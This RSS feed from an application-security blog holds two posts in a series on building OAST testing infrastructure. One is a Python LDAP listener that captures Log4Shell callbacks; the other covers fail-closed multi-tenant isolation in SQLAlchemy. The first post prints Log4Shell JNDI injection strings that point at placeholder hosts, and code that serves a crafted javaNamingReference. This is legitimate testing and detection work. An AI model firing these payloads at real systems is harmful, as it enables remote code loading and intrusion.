<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>chs.us — Carl Sampson</title><link>https://chs.us/</link><description>Application security engineer writing about web vulnerabilities, Python security tooling, and vulnerability research.</description><image><title>chs.us</title><url>https://chs.us/og-image.png</url><link>https://chs.us/</link></image><language>en-us</language><managingEditor>carl.sampson@gmail.com (Carl Sampson)</managingEditor><webMaster>carl.sampson@gmail.com (Carl Sampson)</webMaster><lastBuildDate>Fri, 04 Sep 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://chs.us/series/oast-from-scratch/index.xml" rel="self" type="application/rss+xml"/><item><title>Hand-rolling an LDAP listener to catch Log4Shell callbacks</title><link>https://chs.us/2026/09/ldap-ber-listener-from-scratch/</link><pubDate>Fri, 04 Sep 2026 12:00:00 +0000</pubDate><author>carl.sampson@gmail.com (Carl Sampson)</author><guid>https://chs.us/2026/09/ldap-ber-listener-from-scratch/</guid><description>Catching a jndi:ldap callback needs your own LDAP server: BER-encoded ASN.1 over TCP, no Host header or SNI. The search base DN is the only signal.</description><category>Security</category><category>Ldap</category><category>Ber</category><category>Asn1</category><category>Jndi</category><category>Log4shell</category><category>Oast</category><category>Python</category><content:encoded><![CDATA[<blockquote>
<p>Fifth in a series on building OAST infrastructure from scratch. <a href="/2026/07/jndi-reference-deserialization/">Post 1</a> built the <code>javax.naming.Reference</code> that an LDAP server <em>returns</em>; this one builds the LDAP server that returns it — and solves a problem the DNS and HTTP listeners never had: with LDAP, there&rsquo;s nothing in the protocol that tells you whose host the callback was for.</p>
</blockquote>
<p>The most-typed Log4Shell payload is:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">${jndi:ldap://&lt;host&gt;/a}
</span></span></code></pre></div><p>I&rsquo;ve typed that string into more input fields than I can count. What I&rsquo;d never done, until this listener, was stand at the other end of it and answer — the most-pasted payload in appsec, and the server side of it is somehow the part nobody writes up.</p>
<p>When a vulnerable log statement interpolates that, the JVM does a JNDI lookup against your LDAP server. So a complete OAST platform needs to <em>be</em> an LDAP server — not a conformant directory, just enough to complete the handshake, capture the lookup, and (the <a href="/2026/07/jndi-reference-deserialization/">moat</a>) optionally hand back a crafted reference. LDAP-over-TCP is BER-encoded ASN.1, which sounds heavyweight but, for the three messages we care about, is about 120 lines of codec.</p>
<h2 id="ber-in-the-only-detail-you-need-tag-length-value">BER in the only detail you need: tag, length, value</h2>
<p>BER (the wire form of ASN.1 that LDAP uses) is recursively <strong>TLV</strong>: a Tag byte, a Length, then that many bytes of Value. Nest TLVs and you have structured messages.</p>
<ul>
<li><strong>Tag</strong>: one byte. Bits 7–6 are the class, bit 5 marks &ldquo;constructed&rdquo; (contains nested TLVs), bits 4–0 are the number. LDAP&rsquo;s op tags are all ≤ 30, so a tag is always one byte here — no multi-byte tag parsing needed.</li>
<li><strong>Length</strong>: definite form, two flavors. If the byte is <code>&lt; 0x80</code>, that <em>is</em> the length (short form). If the high bit is set, the low 7 bits say how many following big-endian bytes hold the real length (long form). That&rsquo;s the whole rule:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">encode_length</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">n</span> <span class="o">&lt;</span> <span class="mh">0x80</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">n</span><span class="p">])</span>               <span class="c1"># short form: the byte is the length</span>
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="n">n</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">out</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">n</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span> <span class="n">n</span> <span class="o">&gt;&gt;=</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">    <span class="n">out</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="mh">0x80</span> <span class="o">|</span> <span class="nb">len</span><span class="p">(</span><span class="n">out</span><span class="p">)])</span> <span class="o">+</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>   <span class="c1"># long form: 0x80|count, then bytes</span>
</span></span></code></pre></div><ul>
<li><strong>Value</strong>: the content — a primitive (integer, octet string) or nested TLVs.</li>
</ul>
<p>Encoding is just &ldquo;tag + length + content&rdquo;:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">tlv</span><span class="p">(</span><span class="n">tag</span><span class="p">,</span> <span class="n">content</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">tag</span><span class="p">])</span> <span class="o">+</span> <span class="n">encode_length</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">content</span><span class="p">))</span> <span class="o">+</span> <span class="n">content</span>
</span></span></code></pre></div><p>Reading is the inverse, and the one thing you must get right is <strong>framing a TCP stream</strong>: LDAP messages arrive back-to-back on a socket, so before parsing you compute the total length of the first complete message (header + declared length) and wait until you&rsquo;ve buffered that many bytes. Get framing wrong and you&rsquo;ll try to parse half a message under load. The same length rule above tells you where the message ends.</p>
<p>The tags you need are few:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">TAG_INTEGER</span>       <span class="o">=</span> <span class="mh">0x02</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_OCTET_STRING</span>  <span class="o">=</span> <span class="mh">0x04</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_ENUMERATED</span>    <span class="o">=</span> <span class="mh">0x0A</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_SEQUENCE</span>      <span class="o">=</span> <span class="mh">0x30</span>   <span class="c1"># constructed</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_SET</span>           <span class="o">=</span> <span class="mh">0x31</span>   <span class="c1"># constructed</span>
</span></span><span class="line"><span class="cl"><span class="c1"># APPLICATION-tagged LDAP ops: class 0x40 | constructed 0x20 | number</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_BIND_REQUEST</span>    <span class="o">=</span> <span class="mh">0x60</span>   <span class="c1"># APPLICATION 0</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_BIND_RESPONSE</span>   <span class="o">=</span> <span class="mh">0x61</span>   <span class="c1"># APPLICATION 1</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_SEARCH_REQUEST</span>  <span class="o">=</span> <span class="mh">0x63</span>   <span class="c1"># APPLICATION 3</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_SEARCH_RES_ENTRY</span><span class="o">=</span> <span class="mh">0x64</span>   <span class="c1"># APPLICATION 4</span>
</span></span><span class="line"><span class="cl"><span class="n">TAG_SEARCH_RES_DONE</span> <span class="o">=</span> <span class="mh">0x65</span>   <span class="c1"># APPLICATION 5</span>
</span></span></code></pre></div><p>One encoder subtlety that bites: a positive integer whose top bit is set needs a leading <code>0x00</code> or it reads back <strong>negative</strong> (BER integers are signed two&rsquo;s-complement). Pad for the sign bit, then trim redundant leading zeros to stay minimal. It&rsquo;s four lines and it&rsquo;s the difference between a <code>messageID</code> of <code>200</code> and one of <code>-56</code>.</p>
<h2 id="the-conversation-bind-search-done">The conversation: bind, search, done</h2>
<p>A JNDI/Log4Shell client speaks a tiny subset:</p>
<ol>
<li><strong>bindRequest</strong> (anonymous) → you reply <strong>bindResponse</strong> with resultCode 0 (success).</li>
<li><strong>searchRequest</strong> → this is the lookup. You capture it, then reply <strong>searchResultEntry</strong> (capture-plus-craft mode) and/or <strong>searchResultDone</strong> (resultCode 0).</li>
</ol>
<p>An <code>LDAPMessage</code> is a <code>SEQUENCE</code> of <code>{ messageID INTEGER, protocolOp }</code>. Parsing leniently — read the SEQUENCE, read the messageID, read the one APPLICATION-tagged op — is enough:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_message</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">_</span><span class="p">,</span> <span class="n">content</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">ber</span><span class="o">.</span><span class="n">read_tlv</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>            <span class="c1"># outer SEQUENCE</span>
</span></span><span class="line"><span class="cl">    <span class="n">_</span><span class="p">,</span> <span class="n">c_id</span><span class="p">,</span> <span class="n">off</span> <span class="o">=</span> <span class="n">ber</span><span class="o">.</span><span class="n">read_tlv</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>         <span class="c1"># messageID</span>
</span></span><span class="line"><span class="cl">    <span class="n">op_tag</span><span class="p">,</span> <span class="n">op_content</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">ber</span><span class="o">.</span><span class="n">read_tlv</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="n">off</span><span class="p">)</span>  <span class="c1"># protocolOp</span>
</span></span><span class="line"><span class="cl">    <span class="n">req</span> <span class="o">=</span> <span class="n">LdapRequest</span><span class="p">(</span><span class="n">message_id</span><span class="o">=</span><span class="n">ber</span><span class="o">.</span><span class="n">decode_int</span><span class="p">(</span><span class="n">c_id</span><span class="p">),</span> <span class="n">op_tag</span><span class="o">=</span><span class="n">op_tag</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">op_tag</span> <span class="o">==</span> <span class="n">ber</span><span class="o">.</span><span class="n">TAG_SEARCH_REQUEST</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">_</span><span class="p">,</span> <span class="n">c_base</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">ber</span><span class="o">.</span><span class="n">read_tlv</span><span class="p">(</span><span class="n">op_content</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>  <span class="c1"># baseObject == the lookup path</span>
</span></span><span class="line"><span class="cl">        <span class="n">req</span><span class="o">.</span><span class="n">base_dn</span> <span class="o">=</span> <span class="n">c_base</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="s2">&#34;replace&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">req</span>
</span></span></code></pre></div><p>Note what we pull out of the searchRequest: the <strong>base DN</strong> (<code>baseObject</code>). Hold that thought.</p>
<h2 id="the-attribution-problem-nobody-warns-you-about">The attribution problem nobody warns you about</h2>
<p>This is the part I actually learned something from. Here&rsquo;s what makes the LDAP listener genuinely different from the DNS and HTTP ones. With DNS, the query name tells you which host was hit. With HTTP, the <code>Host</code> header (or SNI) does. <strong>LDAP has neither.</strong> A connection arrives, binds anonymously, and searches — and nothing in the protocol says &ldquo;this callback was for tenant Alice&rsquo;s host.&rdquo;</p>
<p>The only per-lookup, attacker-controllable string in the whole exchange is the <strong>search base DN</strong> — the path part of <code>ldap://you/&lt;dn&gt;</code>. So that&rsquo;s the attribution signal. Your payloads put the host label in the DN:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">${jndi:ldap://&lt;label&gt;.&lt;zone&gt;:1389/&lt;dn&gt;}
</span></span><span class="line"><span class="cl">                    ^^^^^^ in the hostname (resolves via your wildcard A)
</span></span></code></pre></div><p>…and on capture you run the same rightmost-label attribution you use for DNS, but against the base DN (and the connecting hostname). It&rsquo;s a constraint that flows all the way back into payload design: because the protocol gives you no host context, <em>the payload has to carry the identity itself</em>. DNS and HTTP had spoiled me — both hand you the target for free, in the query name or the <code>Host</code> header — and it genuinely hadn&rsquo;t occurred to me that a protocol might just decline to tell you. Every writeup I&rsquo;d read shows you the <code>Reference</code>; not one of them mentions that you won&rsquo;t know who it&rsquo;s for.</p>
<p>(Convenient detail: you don&rsquo;t even need a new DNS record. The victim resolves <code>&lt;label&gt;.&lt;zone&gt;</code> via the wildcard <code>A</code> the <a href="/2026/07/authoritative-dns-from-scratch/">DNS listener</a> already answers, then connects to your LDAP port. One zone, another protocol for free.)</p>
<h2 id="returning-the-reference-the-moat-in-one-line-of-intent">Returning the reference (the moat, in one line of intent)</h2>
<p>In capture-only mode you reply with an empty <code>searchResultDone</code> and you&rsquo;re done — you&rsquo;ve logged the callback. The interesting mode builds a <code>searchResultEntry</code> whose attributes are the JNDI reference: <code>objectClass=javaNamingReference</code>, <code>javaClassName</code>, <code>javaCodeBase</code> (a URL you host), <code>javaFactory</code>. The BER for that is just nested SEQUENCEs of <code>{ name, SET-of values }</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">search_result_entry</span><span class="p">(</span><span class="n">message_id</span><span class="p">,</span> <span class="n">dn</span><span class="p">,</span> <span class="n">attributes</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">attr_list</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">name</span><span class="p">,</span> <span class="n">values</span> <span class="ow">in</span> <span class="n">attributes</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">        <span class="n">vals</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">ber</span><span class="o">.</span><span class="n">encode_octet_string</span><span class="p">(</span><span class="n">v</span><span class="p">)</span> <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">attr_list</span> <span class="o">+=</span> <span class="n">ber</span><span class="o">.</span><span class="n">tlv</span><span class="p">(</span><span class="n">TAG_SEQUENCE</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">ber</span><span class="o">.</span><span class="n">encode_octet_string</span><span class="p">(</span><span class="n">name</span><span class="p">)</span> <span class="o">+</span> <span class="n">ber</span><span class="o">.</span><span class="n">tlv</span><span class="p">(</span><span class="n">TAG_SET</span><span class="p">,</span> <span class="n">vals</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">op</span> <span class="o">=</span> <span class="n">ber</span><span class="o">.</span><span class="n">tlv</span><span class="p">(</span><span class="n">TAG_SEARCH_RES_ENTRY</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">ber</span><span class="o">.</span><span class="n">encode_octet_string</span><span class="p">(</span><span class="n">dn</span><span class="p">)</span> <span class="o">+</span> <span class="n">ber</span><span class="o">.</span><span class="n">tlv</span><span class="p">(</span><span class="n">TAG_SEQUENCE</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">attr_list</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">_ldap_message</span><span class="p">(</span><span class="n">message_id</span><span class="p">,</span> <span class="n">op</span><span class="p">)</span>
</span></span></code></pre></div><p>Whether the JVM then <em>loads</em> a class from <code>javaCodeBase</code> depends on its version and <code>trustURLCodebase</code> — that&rsquo;s the exploit half, deliberately out of scope here. The point for the listener is: the same hand-rolled BER that parses the lookup also crafts the response.</p>
<h2 id="did-the-hand-rolled-ber-actually-work">Did the hand-rolled BER actually work?</h2>
<p>The acid test for any from-scratch protocol implementation is a <em>real</em> client, not your own encoder agreeing with your own decoder. Point OpenLDAP&rsquo;s <code>ldapsearch</code> at the listener:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ldapsearch -x -H ldap://127.0.0.1:1389 -b &#39;cn=test,dc=example&#39; -s base
</span></span><span class="line"><span class="cl"># result: 0 Success
</span></span></code></pre></div><p>Watching <code>result: 0 Success</code> come back from a client I hadn&rsquo;t written was the first moment I believed the codec was actually right. A real LDAP client completing a clean bind+search against your 120 lines of BER is the proof the encoding is spec-correct — which, transitively, means a Java client&rsquo;s JNDI lookup will parse it too. Same lesson as the <a href="/2026/07/jndi-reference-deserialization/">JNDI Reference post</a>: your oracle has to be an independent implementation, never your own round-trip.</p>
<h2 id="takeaways">Takeaways</h2>
<ul>
<li><strong>BER is just nested tag-length-value.</strong> Short-form vs long-form length and signed-integer padding are the only sharp edges; the LDAP subset is ~120 lines.</li>
<li><strong>TCP framing is a real step.</strong> Compute the first complete message&rsquo;s length and buffer to it before parsing, or you&rsquo;ll choke on coalesced messages under load.</li>
<li><strong>LDAP gives you no Host/SNI — the search base DN is your only attribution signal.</strong> That constraint propagates into payload design: the payload must carry the host identity, because the protocol won&rsquo;t.</li>
<li><strong>Validate against a real client.</strong> <code>ldapsearch</code> returning <code>Success</code> is the only proof your hand-rolled codec is correct; self-round-tripping proves nothing.</li>
</ul>
<p>Next: the <em>other</em> JNDI pillar — <code>${jndi:rmi://...}</code> — which means parsing JRMP, the RMI registry protocol, off the wire. It&rsquo;s the read side of <a href="/2026/07/jndi-reference-deserialization/">post 1</a>&rsquo;s serialization story.</p>
<hr>
<p><em>This is part of a series I&rsquo;m writing on building OAST infrastructure from scratch — <a href="/2026/07/jndi-reference-deserialization/">hand-rolling a JNDI Reference</a>, <a href="/2026/07/authoritative-dns-from-scratch/">an authoritative DNS server</a>, <a href="/2026/07/sandboxing-untrusted-python/">sandboxing untrusted Python</a> for the response logic, and <a href="/2026/07/multi-tenant-isolation-defense-in-depth/">multi-tenant isolation</a> as the safety net. This post built the LDAP sink; next it&rsquo;s the other JNDI pillar — JRMP, the RMI registry protocol, read off the wire.</em></p>
]]></content:encoded></item><item><title>Multi-tenant isolation as defense-in-depth: when WHERE owner_user_id isn't enough</title><link>https://chs.us/2026/07/multi-tenant-isolation-defense-in-depth/</link><pubDate>Fri, 24 Jul 2026 00:00:00 +0000</pubDate><author>carl.sampson@gmail.com (Carl Sampson)</author><guid>https://chs.us/2026/07/multi-tenant-isolation-defense-in-depth/</guid><description>One forgotten WHERE clause leaks another tenant&amp;#39;s data. Here is a second layer that fails closed automatically, built on a SQLAlchemy hook.</description><category>Security</category><category>Multi-Tenant</category><category>Sqlalchemy</category><category>Postgres</category><category>Appsec</category><category>Defense-in-Depth</category><category>Oast</category><content:encoded><![CDATA[<blockquote>
<p>Fourth in a series on building out-of-band application security testing (OAST) infrastructure from scratch. Earlier posts went down to the wire (<a href="/2026/07/jndi-reference-deserialization/">JNDI</a>, <a href="/2026/07/authoritative-dns-from-scratch/">DNS</a>, <a href="/2026/07/sandboxing-untrusted-python/">the sandbox</a>). This one is about a quieter risk that kills more SaaS products than any exploit: one missing <code>WHERE</code> clause.</p>
</blockquote>
<p>In a multi-tenant app, the entire security model often reduces to a single sentence: <em>every database read that returns user-owned data is filtered by the current user&rsquo;s id.</em> Get it right everywhere and tenants are isolated. Forget it in <strong>one</strong> endpoint — one <code>db.query(Modifier).filter(Modifier.id == requested_id)</code> without the <code>owner_user_id</code> check — and any user can read any other user&rsquo;s data by guessing an integer. It&rsquo;s the most common serious bug in SaaS, and it&rsquo;s a bug of <em>omission</em>, which is exactly the kind code review is worst at catching.</p>
<p>The explicit filter is layer one, and you keep it — it&rsquo;s readable, it&rsquo;s the contract, every reviewer understands it. But &ldquo;we&rsquo;ll just always remember&rdquo; is not a security control. So this platform adds a second layer that&rsquo;s automatic and fails closed: even if you forget the <code>WHERE</code>, the database query physically cannot return another tenant&rsquo;s rows.</p>
<h2 id="the-idea-filter-at-the-orm-boundary-not-the-call-site">The idea: filter at the ORM boundary, not the call site</h2>
<p>SQLAlchemy fires a <code>do_orm_execute</code> event for every ORM statement before it hits the database. That&rsquo;s the choke point. If, at that moment, we can (a) tell whether the statement touches a tenant-owned table and (b) know who the current user is, we can <em>inject</em> the <code>WHERE owner_user_id = :uid</code> ourselves — on every SELECT, UPDATE, and DELETE, whether or not the call site remembered.</p>
<p>Two pieces make it work: a marker so we know which models are tenant-owned, and the hook that does the injection.</p>
<h3 id="mark-the-tenant-owned-models">Mark the tenant-owned models</h3>
<p>A mixin, and a classmethod that returns the filter expression. The common case is an <code>owner_user_id</code> column:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">TenantScoped</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nd">@classmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">__tenant_filter__</span><span class="p">(</span><span class="bp">cls</span><span class="p">,</span> <span class="n">user_id</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="bp">cls</span><span class="o">.</span><span class="n">owner_user_id</span> <span class="o">==</span> <span class="n">user_id</span>
</span></span></code></pre></div><p>Models with a different shape override it — <code>User</code> filters on its own <code>id</code>, <code>UserState</code> on <code>user_id</code>, join tables that own no direct FK to <code>users</code> (chain steps, modifier versions) scope through their parent. The point is that <em>every</em> owner-scoped model declares, in one place, how to constrain it to a tenant. Forgetting the mixin on a new model is itself catchable — a static check in the test suite flags any owner-scoped table that doesn&rsquo;t mix it in.</p>
<h3 id="inject-the-filter-on-every-statement">Inject the filter on every statement</h3>
<p>The hook collects every <code>TenantScoped</code> mapper the statement touches and adds the criteria via <code>with_loader_criteria</code> (which also reaches relationship loads and join-aliased copies, so a lazy-load can&rsquo;t sneak around it):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nd">@listens_for</span><span class="p">(</span><span class="n">Session</span><span class="p">,</span> <span class="s2">&#34;do_orm_execute&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_enforce_tenant_scope</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">state</span><span class="o">.</span><span class="n">is_select</span> <span class="ow">or</span> <span class="n">state</span><span class="o">.</span><span class="n">is_update</span> <span class="ow">or</span> <span class="n">state</span><span class="o">.</span><span class="n">is_delete</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>                      <span class="c1"># INSERTs pin owner_user_id at the call site</span>
</span></span><span class="line"><span class="cl">    <span class="n">tenanted</span> <span class="o">=</span> <span class="p">[</span><span class="n">m</span><span class="o">.</span><span class="n">class_</span> <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">_mappers</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="nb">issubclass</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">class_</span><span class="p">,</span> <span class="n">TenantScoped</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">tenanted</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">_is_tenant_bypassed</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>                      <span class="c1"># explicit, grep-able opt-out (see below)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">uid</span> <span class="o">=</span> <span class="n">_current_user_id</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">uid</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">raise</span> <span class="n">TenantScopeMissing</span><span class="p">(</span><span class="o">...</span><span class="p">)</span>   <span class="c1"># &lt;-- fail CLOSED</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="bp">cls</span> <span class="ow">in</span> <span class="n">tenanted</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">state</span><span class="o">.</span><span class="n">statement</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">statement</span><span class="o">.</span><span class="n">options</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">with_loader_criteria</span><span class="p">(</span><span class="bp">cls</span><span class="p">,</span> <span class="bp">cls</span><span class="o">.</span><span class="n">__tenant_filter__</span><span class="p">(</span><span class="n">uid</span><span class="p">),</span> <span class="n">include_aliases</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span></code></pre></div><h2 id="the-part-that-matters-most-fail-closed">The part that matters most: fail <em>closed</em></h2>
<p>Look at the <code>uid is None</code> branch. If a tenant-scoped query runs and we <em>can&rsquo;t determine the current user</em>, we don&rsquo;t run it unfiltered — we <strong>raise</strong>. A 500 error is a bug report. A query that silently returns every tenant&rsquo;s rows because the user context wasn&rsquo;t set is a breach you find out about on Twitter. The default has to be &ldquo;refuse,&rdquo; not &ldquo;return everything.&rdquo; This is the single most important design decision in the whole mechanism, and it&rsquo;s one line.</p>
<p>It also changes the <em>cost</em> of the mistake in a useful way. With only the explicit-filter layer, a forgotten <code>WHERE</code> is a silent data leak. With this layer, the same forgotten <code>WHERE</code> becomes either (a) correctly filtered anyway (the hook did it) or (b) a loud <code>TenantScopeMissing</code> exception pointing at the exact route. Both are fine outcomes. A silent leak is not on the menu.</p>
<h2 id="where-does-uid-come-from-a-fastapi-threadpool-trap">Where does <code>uid</code> come from? (a FastAPI threadpool trap)</h2>
<p>The obvious place to stash &ldquo;current user&rdquo; is a <code>ContextVar</code>. It&rsquo;s the wrong place here, and the reason is a genuinely sharp edge worth knowing.</p>
<p>FastAPI runs <strong>synchronous</strong> dependencies and route handlers in a threadpool. Python copies <code>contextvars</code> per task, so a <code>ContextVar.set()</code> inside one sync dependency is invisible to the next sync dependency or the route — they ran in different threadpool contexts. Pin the user id in a <code>ContextVar</code> in your auth dependency and it&rsquo;ll be <code>None</code> again by the time the query runs. You get fail-closed 500s everywhere and conclude the whole approach is broken.</p>
<p>The fix: pin the id on the <strong><code>Session</code> object itself</strong> (<code>db.info[&quot;current_user_id&quot;]</code>), set by the same auth dependency that resolves the user. The <code>Session</code> is shared by value across the dependency chain and the route — it&rsquo;s literally the thing you&rsquo;re running queries against — so the pin follows the request without any contextvar gymnastics. (A <code>ContextVar</code> stays as a fallback for scripts and out-of-band paths that don&rsquo;t go through the web dependency chain.)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">uid</span> <span class="o">=</span> <span class="n">state</span><span class="o">.</span><span class="n">session</span><span class="o">.</span><span class="n">info</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;current_user_id&#34;</span><span class="p">)</span> <span class="ow">or</span> <span class="n">current_user_id</span><span class="o">.</span><span class="n">get</span><span class="p">()</span>
</span></span></code></pre></div><h2 id="bypasses-make-them-rare-explicit-and-grep-able">Bypasses: make them rare, explicit, and grep-able</h2>
<p>Plenty of code legitimately reads across tenants — the listeners (they don&rsquo;t know whose host a callback hit until attribution runs), scheduled jobs (owner-stats, retention), admin views, and the auth dependency itself (it has to look up the <code>User</code> <em>before</em> the tenant is known). For these there are exactly two opt-outs, both intentionally visible in a code search:</p>
<ul>
<li><code>bypass_session()</code> — a whole session with the filter off (listeners, jobs, attribution).</li>
<li><code>.execution_options(bypass_tenant=True)</code> — one statement (admin views, auth deps, the public homepage stats counter).</li>
</ul>
<p>The goal isn&rsquo;t to forbid cross-tenant access — it&rsquo;s to make every instance of it <em>loud</em>. A reviewer can <code>grep bypass_tenant</code> and audit the entire cross-tenant surface of the app in one command. Contrast with the default world where cross-tenant access looks identical to correct code (it&rsquo;s just a query that happens to be missing a filter). Naming the exception turns an invisible risk into an auditable list.</p>
<h2 id="one-more-sqlalchemy-gotcha-sessionget-skips-the-hook">One more SQLAlchemy gotcha: <code>Session.get</code> skips the hook</h2>
<p>SQLAlchemy 2.0&rsquo;s <code>Session.get(Model, pk)</code> short-circuits on an identity-map hit — if the object is already cached from an earlier query, it returns it <em>without</em> emitting <code>do_orm_execute</code>. So a row loaded in one request could, in principle, be handed back by a <code>.get()</code> in a later request that should&rsquo;ve been filtered. The fix is to force <code>populate_existing=True</code> for <code>TenantScoped</code> entities on <code>.get</code>, which re-runs the SELECT (and thus the hook) instead of trusting the cache. Small, but it&rsquo;s exactly the kind of corner where &ldquo;we filter everything&rdquo; quietly becomes &ldquo;we filter everything except the fast path.&rdquo;</p>
<h2 id="takeaways">Takeaways</h2>
<ul>
<li><strong>The explicit <code>WHERE owner_user_id</code> is the contract; an automatic layer is the safety net.</strong> Keep both. The first is readable; the second is what saves you the day someone forgets the first.</li>
